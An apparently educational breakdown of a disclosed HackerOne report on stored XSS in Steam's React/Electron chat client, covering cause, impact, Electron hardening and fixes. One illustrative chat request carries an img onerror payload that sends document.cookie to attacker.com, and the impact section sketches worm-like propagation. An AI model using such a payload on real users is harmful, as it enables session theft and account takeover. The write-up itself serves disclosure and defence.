XSS in the Steam React chat client
User-controlled content rendered in Steam's chat client executed as script, showing that XSS isn't just a browser problem - it bites Electron/React desktop apps too, where the impact can reach the local system.
Read the original HackerOne reportSteam's React-based chat client rendered user-supplied content as live script - a cross-site scripting vulnerability inside a native desktop application worth $7,500 and a reminder that "it's not a browser" is no defence against XSS.
Stay Legal
This breakdown is for educational purposes and understanding real-world vulnerabilities. Only test techniques like these on systems you own or have explicit written authorization to assess.
The Target
Steam's updated chat interface, shipped as part of the redesigned Steam client, was built using React and Electron - a pattern that embeds a Chromium browser engine inside a desktop application. This approach lets development teams use modern web technologies for native apps, but it also carries web-security risks into the desktop context. The chat feature rendered messages sent between users, and user-controlled message content was the attack surface.
The Vulnerability
The bug was a stored Cross-Site Scripting (XSS) vulnerability. A portion of the chat message rendering pipeline applied insufficient sanitization or output encoding to user-controlled content before writing it into the DOM. The result: an attacker could craft a message containing a script payload that, when rendered inside the victim's Steam client, executed JavaScript in the context of the Steam chat interface.
In a conventional browser, XSS is limited by the browser sandbox and the Same-Origin Policy. Inside Electron, the threat model is different: depending on the app's security configuration (nodeIntegration, contextIsolation, sandbox flags), injected JavaScript may have access to Node.js APIs - meaning the script can read the filesystem, spawn child processes, or make arbitrary network requests, effectively giving the attacker native code execution through a script injection.
Even without Node.js access, XSS in the Steam client allows an attacker to steal Steam session tokens, interact with Steam's internal IPC or web APIs on the victim's behalf, and exfiltrate account data - all silently, triggered merely by the victim opening a chat message.
How It Was Found
The researcher tested Steam's chat message rendering for XSS using the standard methodology: submit payloads that probe whether HTML is interpreted, whether script tags are executed, and whether event handlers are evaluated. React uses a virtual DOM that normally escapes output - but dangerous patterns such as dangerouslySetInnerHTML, improper use of third-party rich-text renderers, or a pre-render sanitization gap can bypass React's built-in protections.
An illustrative XSS probe sent as a chat message:
POST /api/chat/send HTTP/1.1
Host: community.steam-api.com
Cookie: steamLoginSecure=<session>
Content-Type: application/json
{
"steamid_partner": "76561198XXXXXXXXX",
"message": "<img src=x onerror=\"fetch('https://attacker.com/steal?t='+document.cookie)\">"
}If the recipient's client renders this without encoding the angle brackets and event handler, the onerror callback fires and exfiltrates the session cookie. Valve awarded $7,500 for this report, reflecting the severity of authenticated script execution inside a widely-installed desktop client.
Impact
- Stored XSS inside the Steam desktop client - the payload is delivered to any user who opens the crafted chat message, requiring no further user interaction.
- Potential access to Steam session cookies and local storage tokens, allowing the attacker to authenticate as the victim on Steam's web services.
- In Electron apps with
nodeIntegrationenabled, XSS escalates to full remote code execution on the victim's machine. - An attacker could automate the payload to propagate via chat - send the malicious message to every contact in the victim's friend list, achieving worm-like spread across Steam's hundreds of millions of users.
- Account takeover, item theft from Steam inventories, and installation of malware are all within reach.
- Valve awarded $7,500 for this report.
The Fix
Remediation for XSS in an Electron/React application involves layers at both the application and the framework level:
- Audit all raw DOM injection points - any use of
dangerouslySetInnerHTMLor direct DOM manipulation (.innerHTML,.outerHTML) must sanitize input with a library such as DOMPurify before rendering. - Sanitize rich text at the API boundary - strip or encode HTML from user-supplied content before it is stored and before it is returned to clients.
- Enable Electron security flags - set
nodeIntegration: false,contextIsolation: true, andsandbox: trueon allBrowserWindowandwebviewinstances; these prevent XSS from escalating to Node.js code execution. - Implement a strict Content Security Policy - a CSP that disallows inline scripts and restricts
script-srcto known origins limits the damage from any future XSS finding. - Use React's default escaping - avoid patterns that bypass React's built-in output encoding; render user content as text nodes, not HTML.
What You Can Learn
- Electron apps are browsers with elevated privileges. The XSS attack surface is identical to the web, but the potential impact is far greater - especially when
nodeIntegrationis enabled. - React's virtual DOM does not make XSS impossible.
dangerouslySetInnerHTMLand third-party rendering libraries that touch the raw DOM are the most common bypass paths. - Stored XSS is more dangerous than reflected. The attacker doesn't need to trick a victim into clicking a link - delivering the payload via a chat message is enough.
- XSS in chat systems has worm potential. A self-propagating payload that sends itself to all contacts can achieve exponential spread across a large user base.
- Session tokens in desktop apps are valuable targets. Unlike a browser where SameSite cookies offer some protection, Electron apps may store tokens in localStorage or IndexedDB, often accessible to injected scripts.
Canonical Report
Full technical details are in the original HackerOne disclosure: HackerOne #409850 - XSS in Steam's React chat client ($7,500)
Learn the skill behind it
Cross-Site Scripting (XSS)